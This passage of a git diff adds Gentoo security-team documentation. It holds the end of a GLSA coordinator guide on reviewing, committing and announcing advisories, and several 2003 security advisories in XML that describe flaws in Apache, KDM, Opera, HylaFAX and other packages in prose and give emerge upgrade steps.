+<ti>Packages which depend on this library may need to be recompiled.
+Tools such as revdep-rebuild may assist in identifying some of these
+packages.</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>References</title>
+<body>
+
+<p>
+The References section should provide links to reference information about
+the vulnerability. When a CVE number (CVE-XXXX-XXX) is available, it should
+be provided (with the complete CVE number in "Title"). You can also link an
+upstream developer advisory and/or
+announce email, when available. You should avoid links to other distribution
+advisories or non-official advisories from separate entities.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>GLSA publication</title>
+<section>
+<title>Peer reviewing</title>
+<body>
+
+<p>
+When the draft is finished, it must be submitted to the review of other members
+of the Security Team, by calling for a review on the #gentoo-security channel.
+The final version (after all corrections are made) must be approved by two
+Security Team members before being committed and sent out.
+</p>
+
+<p>
+When reviewing a GLSA draft carefully check the correctness of the
+following things:
+</p>
+
+<ul>
+<li>Affected/unaffected versions (Check ChangeLog that versions are
+correct and make sure that there is no version not included by either
+affected or unaffected).</li>
+<li>Title correctness.</li>
+<li>Severity and Access (Don't just rely on the bug rating and for
+"Local" access a local account is needed otherwise it is "Remote").</li>
+<li>Finally do a sanity check: Is this a real vulnerability and not
+just a bug (like the Samba and Shadow non-vulnerabilities).</li>
+</ul>
+<p>
+When the draft is approved, it must be assigned an official GLSA number. This
+is done by calling the "Move" function in GLSAMaker to move the draft from the
+pool to the official area.
+</p>
+
+</body>
+</section>
+<section>
+<title>GLSA XML commit</title>
+<body>
+
+<p>
+You need to commit the GLSA XML to the Gentoo CVS tree so that it automagically
+appears in the RDF feed, the GLSA list, and the portage updates. You should
+first update your GLSA directory in the gentoo CVS repository tree:
+</p>
+
+<pre caption="Update CVS tree">
+you@home you $ <i>cd gentoo_cvs</i>
+you@home gentoo_cvs $ <i>cvs update -dP gentoo/xml/htdocs/security</i>
+</pre>
+
+<p>
+Then you should click <c>Fetch</c> on the GLSA to download the XML version,
+and save it into your local gentoo_cvs/gentoo/xml/htdocs/security/en/glsa/
+directory. Then you should add and commit the XML file:
+</p>
+
+<pre caption="Commit the GLSA">
+you@home gentoo_cvs $ <i>cd gentoo/xml/htdocs/security/en/glsa</i>
+you@home glsa $ <i>cvs add glsa-YYYYMM-NN.xml</i>
+you@home glsa $ <i>cvs commit -m "GLSA YYYYMM-NN" glsa-YYYYMM-NN.xml</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>E-mail announcement</title>
+<body>
+
+<warn>
+Whenever you use a new setup (software or machine) to post a GLSA announcement,
+you should get your setup checked by sending a test email to another member of
+the Security Team.
+</warn>
+
+<p>
+Click on the Txt download to have a text version of the GLSA. Check that the
+affected/unaffected section looks good, then prepare an email with the
+following rules:
+</p>
+
+<ul>
+<li><b>From</b> and <b>Return-Path</b> must be set to yourname@gentoo.org</li>
+<li><b>To</b> and <b>Cc</b> should be set according to policy</li>
+<li><b>Subject</b> must be "[ GLSA XXXXYY-ZZ ] Your vulnerability here"
+    (you should copy/paste from the title in the Txt file)</li>
+<li>the body of the mail should be the content of the Txt file, from the
+"Gentoo Linux Security Advisory" header to the end of the file</li>
+<li>email must be signed by the GPG key for your yourname@gentoo.org address</li>
+</ul>
+
+<note>
+You will receive a return email from gentoo-announce telling it requires
+moderation. Just reply to it and the announce email will get through.
+</note>
+
+</body>
+</section>
+<section>
+<title>Bug closing</title>
+<body>
+
+<p>
+You should check that the email got through to gentoo-announce, then you can
+close the related bug(s), by setting their status to <b>RESOLVED/FIXED</b>,
+with a comment pointing to the GLSA number.
+</p>
+
+</body>
+</section>
+<section>
+<title>Errata/Update publication</title>
+<body>
+
+<p>
+An erratum is published when we made a mistake otherwise it is an
+update. When policy warrants a republication these guidelines should be followed:
+</p>
+
+<ul>
+<li>Revision should be correctly set in XML. This means that revision might need to
+be manually corrected in GLSAMaker data directory, if you do multiple
+changes using GLSAMaker ( ie. &lt;revised&gt;September
+10, 2004: 02&lt;/revised&gt;)</li>
+<li>If there is no vulnerability no affected packages should be listed
+in the XML</li>
+<li>Title can change ( ie. GLSA 200409-14 for Samba and GLSA 200411-01 for ppp)
+</li>
+<li>Not all Errata need republication. Policy details when
+republication is needed.</li>
+<li>For the text version GLSAmaker can add the relevant information to
+updates and erratas. Manually follow the instructions provided by
+GLSAmaker.</li>
+<li>Text version must contain an Errata or Update section (example shown below) and AFTER THAT only the
+sections changed (XML version does not have extra sections)</li>
+</ul>
+
+<table>
+<tr>
+<ti>This advisory incorrectly described ppp as being vulnerable to a
+remote denial of service. After further verifications, it appears that a
+remote user can only deny service to himself, so this bug does not induce any
+security issue at all. The corrected sections appear below.</ti>
+</tr>
+</table>
+
+<p>
+  For two complete errata email examples see <uri
+  link="http://archives.gentoo.org/gentoo-announce/msg_59c7b7e81a7acacb1cbde24ab708f07a.xml">ERRATA:
+  [ GLSA 200409-14 ] Samba: Remote printing non-vulnerability</uri>
+  (where there were no real vulnerability) and <uri
+  link="http://archives.gentoo.org/gentoo-announce/msg_e75f5d493fea7c6f718a850abd59598a.xml">ERRATA: [ GLSA 200801-09 ]
+      X.Org X server and Xfont library: Multiple vulnerabilities</uri> (where the problem was not correctly fixed in the
+  initial version). For an update example see <uri
+  link="http://archives.gentoo.org/gentoo-announce/msg_0f18bca197c64b634db757a18d2ae492.xml">UPDATE:
+  [ GLSA 200410-30 ] GPdf, KPDF, KOffice: Vulnerabilities in included
+  xpdf</uri> (where the fix introduced another vulnerability).
+</p>
+
+<p>
+Otherwise normal GLSA publication guidelines should be followed.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>GLSA Coordinators Tools</title>
+<section>
+<title>Information gathering</title>
+<body>
+
+<ul>
+<li><uri link="http://dev.gentoo.org/~vorlon/pv/">packageview</uri>
+    is a tool that will open packages.gentoo.org and Gentoo ViewCVS
+    at the right place for a given category and package name. It helps to
+    determine what keywords are needed and to track changes to a package.</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>GLSA publication helpers</title>
+<body>
+
+<ul>
+<li><uri link="http://dev.gentoo.org/~falco/glsacommit.txt">glsacommit</uri>
+    is a bash function handling GLSA commit. It features ssh-agent keyadding,
+    glsa-check conformity doublecheck and has "Are you sure" functions. Edit
+    it to suit your needs and directory locations.</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Security Subversion repository</title>
+<body>
+
+<ul>
+<li>The <uri link="http://overlays.gentoo.org/proj/security/timeline">Security Subversion repository</uri>
+contains several tools to collaboratively assess whether we are affected by new CVE identifiers, and
+tools to determine target keywords. Most tools directly interact with Bugzilla, making manual
+copy-pasting unnecessary.
+</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/en/glsa/glsa-200310-03.xml b/xml/htdocs/security/en/glsa/glsa-200310-03.xml
new file mode 100644
index 00000000..11916d6c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200310-03.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200310-03">
+  <title>Apache: multiple buffer overflows</title>
+  <synopsis>
+    Multiple stack-based buffer overflows in mod_alias and mod_rewrite can allow
+    execution of arbitrary code and cause a denial of service.
+  </synopsis>
+  <product type="ebuild">Apache</product>
+  <announced>2003-10-28</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>32194</bug>
+  <access>local</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">1.3.29</unaffected>
+      <vulnerable range="lt">1.3.29</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP Server is one of the most popular web servers on the
+    Internet.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple stack-based buffer overflows in mod_alias and mod_rewrite allow
+    attackers who can create or edit configuration files including .htaccess
+    files, to cause a denial of service and execute arbitrary code via a regular
+    expression containing more than 9 captures.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker may cause a denial of service or execute arbitrary code with the
+    privileges of the user that is running apache.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time, other than to disable both
+    mod_alias and mod_rewrite.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    It is recommended that all Gentoo Linux users who are running
+    net-misc/apache 1.x upgrade:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv apache
+    # emerge '&gt;=www-servers/apache-1.3.29'
+    # emerge clean
+    # /etc/init.d/apache restart</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0542">CAN-2003-0542 (under review at time of GLSA)</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200310-04.xml b/xml/htdocs/security/en/glsa/glsa-200310-04.xml
new file mode 100644
index 00000000..68787c56
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200310-04.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200310-04">
+  <title>Apache: buffer overflows and a possible information disclosure</title>
+  <synopsis>
+    Multiple stack-based buffer overflows in mod_alias and mod_rewrite can allow
+    execution of arbitrary code and cause a denial of service, and a bug in the
+    way mod_cgid handles CGI redirect paths could result in CGI output going to
+    the wrong client.
+  </synopsis>
+  <product type="ebuild">Apache</product>
+  <announced>2003-10-31</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>32271</bug>
+  <access>local</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">2.0.48</unaffected>
+      <unaffected range="lt">2.0</unaffected>
+      <vulnerable range="lt">2.0.48</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP Server is one of the most popular web servers on the
+    Internet.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple stack-based buffer overflows in mod_alias and mod_rewrite allow
+    attackers who can create or edit configuration files including .htaccess
+    files, to cause a denial of service and execute arbitrary code via a regular
+    expression containing more than 9 captures, and a bug in the way mod_cgid
+    handles CGI redirect paths could result in CGI output going to the wrong
+    client when a threaded MPM is used, resulting in an information disclosure.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker may cause a denial of service or execute arbitrary code with the
+    privileges of the user that is running apache.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    It is recommended that all Gentoo Linux users who are running
+    net-misc/apache 2.x upgrade:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=www-servers/apache-2.0.48'
+    # emerge '&gt;=www-servers/apache-2.0.48'
+    # emerge clean
+    # /etc/init.d/apache2 restart</code>
+    <p>
+    Please remember to update your config files in /etc/apache2 as --datadir has
+    been changed to /var/www/localhost.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0789">CAN-2003-0789</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0542">CAN-2003-0542</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200311-01.xml b/xml/htdocs/security/en/glsa/glsa-200311-01.xml
new file mode 100644
index 00000000..d45ccbed
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200311-01.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200311-01">
+  <title>kdebase: KDM vulnerabilities</title>
+  <synopsis>
+    A bug in KDM can allow privilege escalation with certain configurations of
+    PAM modules.
+  </synopsis>
+  <product type="ebuild">kdebase</product>
+  <announced>2003-11-15</announced>
+  <revised>2003-11-15: 01</revised>
+  <bug>29406</bug>
+  <access>local / remote</access>
+  <affected>
+    <package name="kde-base/kdebase" auto="yes" arch="*">
+      <unaffected range="ge">3.1.4</unaffected>
+      <vulnerable range="le">3.1.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDM is the desktop manager included with the K Desktop Environment.
+    </p>
+  </background>
+  <description>
+    <p>
+    Firstly, versions of KDM &lt;=3.1.3 are vulnerable to a privilege escalation
+    bug with a specific configuration of PAM modules.  Users who do not use PAM
+    with KDM and users who use PAM with regular Unix crypt/MD5 based
+    authentication methods are not affected.
+    </p>
+    <p>
+    Secondly, KDM uses a weak cookie generation algorithm.  Users are advised to
+    upgrade to KDE 3.1.4, which uses /dev/urandom as a non-predictable source of
+    entropy to improve security.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote or local attacker could gain root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    It is recommended that all Gentoo Linux users who are running
+    kde-base/kdebase &lt;=3.1.3 upgrade:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=kde-base/kde-3.1.4'
+    # emerge '&gt;=kde-base/kde-3.1.4'
+    # emerge clean</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0690">CAN-2003-0690</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0692">CAN-2003-0692</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20030916-1.txt">KDE Security Advisory</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200311-02.xml b/xml/htdocs/security/en/glsa/glsa-200311-02.xml
new file mode 100644
index 00000000..2844958a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200311-02.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200311-02">
+  <title>Opera: buffer overflows in 7.11 and 7.20</title>
+  <synopsis>
+    Buffer overflows exist in Opera 7.11 and 7.20 that can cause Opera to crash,
+    and can potentially overwrite arbitrary bytes on the heap leading to a
+    system compromise.
+  </synopsis>
+  <product type="ebuild">Opera</product>
+  <announced>2003-11-19</announced>
+  <revised>2003-11-19: 01</revised>
+  <bug>31775</bug>
+  <access>local / remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">7.21</unaffected>
+      <vulnerable range="eq">7.20</vulnerable>
+      <vulnerable range="eq">7.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a multi-platform web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Opera browser can cause a buffer allocated on the heap to overflow under
+    certain HREFs when rendering HTML.  The mail system is also deemed
+    vulnerable and an attacker can send an email containing a malformed HREF, or
+    plant the malicious HREF on a web site.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Certain HREFs can cause a buffer allocated on the heap to overflow when
+    rendering HTML which can allow arbitrary bytes on the heap to be overwritten
+    which can result in a system compromise.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users are encouraged to perform an 'emerge sync' and upgrade the package
+    to the latest available version.  Opera 7.22 is recommended as Opera 7.21 is
+    vulnerable to other security flaws. Specific steps to upgrade:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=www-client/opera-7.22'
+    # emerge '&gt;=www-client/opera-7.22'
+    # emerge clean</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0870">CAN-2003-0870</uri>
+    <uri link="http://www.atstake.com/research/advisories/2003/a102003-1.txt">@stake Security Advisory</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200311-03.xml b/xml/htdocs/security/en/glsa/glsa-200311-03.xml
new file mode 100644
index 00000000..8afc2751
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200311-03.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200311-03">
+  <title>HylaFAX: Remote code exploit in hylafax</title>
+  <synopsis>
+    A format bug condition allows a remote attacjer to execute arbitrary code as
+    the root user.
+  </synopsis>
+  <product type="ebuild">HylaFAX</product>
+  <announced>2003-11-10</announced>
+  <revised>2003-11-10: 01</revised>
+  <bug>33368</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/hylafax" auto="yes" arch="*">
+      <unaffected range="ge">4.1.8</unaffected>
+      <vulnerable range="le">4.1.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    HylaFAX is a popular client-server fax package.
+    </p>
+  </background>
+  <description>
+    <p>
+    During a code review of the hfaxd server, the SuSE Security Team discovered
+    a format bug condition that allows a remote attacker to execute arbitrary
+    code as the root user.  However, the bug cannot be triggered in the default
+    hylafax configuration.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could execute arbitrary code with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users are encouraged to perform an 'emerge sync' and upgrade the package to
+    the latest available version.  Vulnerable versions of hylafax have been
+    removed from portage.  Specific steps to upgrade:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=net-misc/hylafax-4.1.8'
+    # emerge '&gt;=net-misc/hylafax-4.1.8'
+    # emerge clean</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0886">CAN-2003-0886</uri>
+    <uri link="http://www.novell.com/linux/security/advisories/2003_045_hylafax.html">SuSE Security Announcment</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200311-04.xml b/xml/htdocs/security/en/glsa/glsa-200311-04.xml
new file mode 100644
index 00000000..e126b59b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200311-04.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200311-04">
+  <title>FreeRADIUS: heap exploit and NULL pointer dereference vulnerability</title>
+  <synopsis>
+    FreeRADIUS is vulnerable to a heap exploit and a NULL pointer dereference
+    vulnerability.
+  </synopsis>
+  <product type="ebuild">FreeRADIUS</product>
+  <announced>2003-11-23</announced>
+  <revised>2003-11-23: 01</revised>
+  <bug>33989</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dialup/freeradius" auto="yes" arch="*">
+      <unaffected range="ge">0.9.3</unaffected>
+      <vulnerable range="le">0.9.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FreeRADIUS is a popular open source RADIUS server.
+    </p>
+  </background>
+  <description>
+    <p>
+    FreeRADIUS versions below 0.9.3 are vulnerable to a heap exploit, however,
+    the attack code must be in the form of a valid RADIUS packet which limits
+    the possible exploits.
+    </p>
+    <p>
+    Also corrected in the 0.9.3 release is another vulnerability which causes
+    the RADIUS server to de-reference a NULL pointer and crash when an
+    Access-Request packet with a Tunnel-Password is received.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft a RADIUS packet which would cause the RADIUS
+    server to crash, or could possibly overflow the heap resulting in a system
+    compromise.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users are encouraged to perform an 'emerge sync' and upgrade the package to
+    the latest available version - 0.9.3 is available in portage and is marked
+    as stable.
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=net-dialup/freeradius-0.9.3'
+    # emerge '&gt;=net-dialup/freeradius-0.9.3'
+    # emerge clean</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securitytracker.com/alerts/2003/Nov/1008263.html">SecurityTracker.com Security Alert</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200311-05.xml b/xml/htdocs/security/en/glsa/glsa-200311-05.xml
new file mode 100644
index 00000000..57ec9ae4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200311-05.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200311-05">
+  <title>Ethereal: security problems in ethereal 0.9.15</title>
+  <synopsis>
+    Ethereal is vulnerable to heap and buffer overflows in the GTP, ISAKMP,
+    MEGACO, and SOCKS protocol dissectors.
+  </synopsis>
+  <product type="ebuild">Ethereal</product>
+  <announced>2003-11-22</announced>
+  <revised>2003-11-22: 01</revised>
+  <bug>32691</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/ethereal" auto="yes" arch="*">
+      <unaffected range="ge">0.9.16</unaffected>
+      <vulnerable range="lt">0.9.16</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ethereal is a popular network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ethereal contains buffer overflow vulnerabilities in the GTP, ISAKMP, and
+    MEGACO protocol dissectors, and a heap overflow vulnerability in the SOCKS
+    protocol dissector, which could cause Ethereal to crash or to execute
+    arbitrary code.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft a malformed packet which would cause Ethereal
+    to crash or run arbitrary code with the permissions of the user running
+    Ethereal.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time, other than to disable the GTP,
+    ISAKMP, MEGACO, and SOCKS protocol dissectors.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    It is recommended that all Gentoo Linux users who are running
+    net-analyzer/ethereal 0.9.x upgrade:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=net-analyzer/ethereal-0.9.16'
+    # emerge '&gt;=net-analyzer/ethereal-0.9.16'
+    # emerge clean</code>
+  </resolution>
+  <references>
+    <uri link="http://www.ethereal.com/appnotes/enpa-sa-00011.html">Ethereal Security Advisory</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200311-06.xml b/xml/htdocs/security/en/glsa/glsa-200311-06.xml
new file mode 100644
index 00000000..a766ed16
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200311-06.xml
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200311-06">
+  <title>glibc: getgrouplist buffer overflow vulnerability</title>
+  <synopsis>
+    glibc contains a buffer overflow in the getgrouplist function.
+  </synopsis>
+  <product type="ebuild">glibc</product>
+  <announced>2003-11-22</announced>
+  <revised>2003-11-22: 01</revised>
+  <bug>33383</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-libs/glibc" auto="yes" arch="*">
+      <unaffected range="ge">2.2.5</unaffected>
+      <vulnerable range="le">2.2.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    glibc is the GNU C library.
+    </p>
+  </background>
+  <description>
+    <p>
+    A bug in the getgrouplist function can cause a buffer overflow if the size
+    of the group list is too small to hold all the user's groups.  This overflow
+    can cause segmentation faults in user applications.  This vulnerability
+    exists only when an administrator has placed a user in a number of groups
+    larger than that expected by an application.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Applications that use getgrouplist can crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    It is recommended that all Gentoo Linux users update their systems as
+    follows:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=sys-libs/glibc-2.2.5'
+    # emerge '&gt;=sys-libs/glibc-2.2.5'
+    # emerge clean</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0689">CAN-2003-0689</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200311-07.xml b/xml/htdocs/security/en/glsa/glsa-200311-07.xml
new file mode 100644
index 00000000..969005f1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200311-07.xml
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200311-07">
+  <title>phpSysInfo: arbitrary code execution and directory traversal</title>
+  <synopsis>
+    phpSysInfo contains two vulnerabilities that can allow arbitrary code
+    execution and local directory traversal.
+  </synopsis>
+  <product type="ebuild">phpSysInfo</product>
+  <announced>2003-11-22</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>26782</bug>
+  <access>local</access>
+  <affected>
+    <package name="www-apps/phpsysinfo" auto="yes" arch="*">
+      <unaffected range="ge">2.1-r1</unaffected>
+      <vulnerable range="le">2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpSysInfo is a PHP system information tool.
+    </p>
+  </background>
+  <description>
+    <p>
+    phpSysInfo contains two vulnerabilities which could allow local files to be
+    read or arbitrary PHP code to be executed, under the privileges of the web
+    server process.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could read local files or execute arbitrary code with the
+    permissions of the user running the host web server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    It is recommended that all Gentoo Linux users who are running
+    www-apps/phpsysinfo upgrade to the fixed version:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=www-apps/phpsysinfo-2.1-r1'
+    # emerge '&gt;=www-apps/phpsysinfo-2.1-r1'
+    # emerge clean</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0536">CAN-2003-0536</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200311-08.xml b/xml/htdocs/security/en/glsa/glsa-200311-08.xml
new file mode 100644
index 00000000..28315f90
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200311-08.xml
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200311-08">
+  <title>Libnids: remote code execution vulnerability</title>
+  <synopsis>
+    Libnids contains a bug which could allow remote code execution.
+  </synopsis>
+  <product type="ebuild">Libnids</product>
+  <announced>2003-11-22</announced>
+  <revised>2003-11-22: 01</revised>
+  <bug>32724</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-libs/libnids" auto="yes" arch="*">
+      <unaffected range="ge">1.18</unaffected>
+      <vulnerable range="le">1.17</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Libnids is a component of a network intrusion detection system.
+    </p>
+  </background>
+  <description>
+    <p>
+    There is a bug in the part of libnids code responsible for TCP reassembly.
+    The flaw probably allows remote code execution.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could possibly execute arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    It is recommended that all Gentoo Linux users who are running
+    net-libs/libnids update their systems as follows:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=net-libs/libnids-1.18'
+    # emerge '&gt;=net-libs/libnids-1.18'
+    # emerge clean</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0850">CAN-2003-0850</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200312-01.xml b/xml/htdocs/security/en/glsa/glsa-200312-01.xml
new file mode 100644
index 00000000..81d8ddc8
--- /dev/null
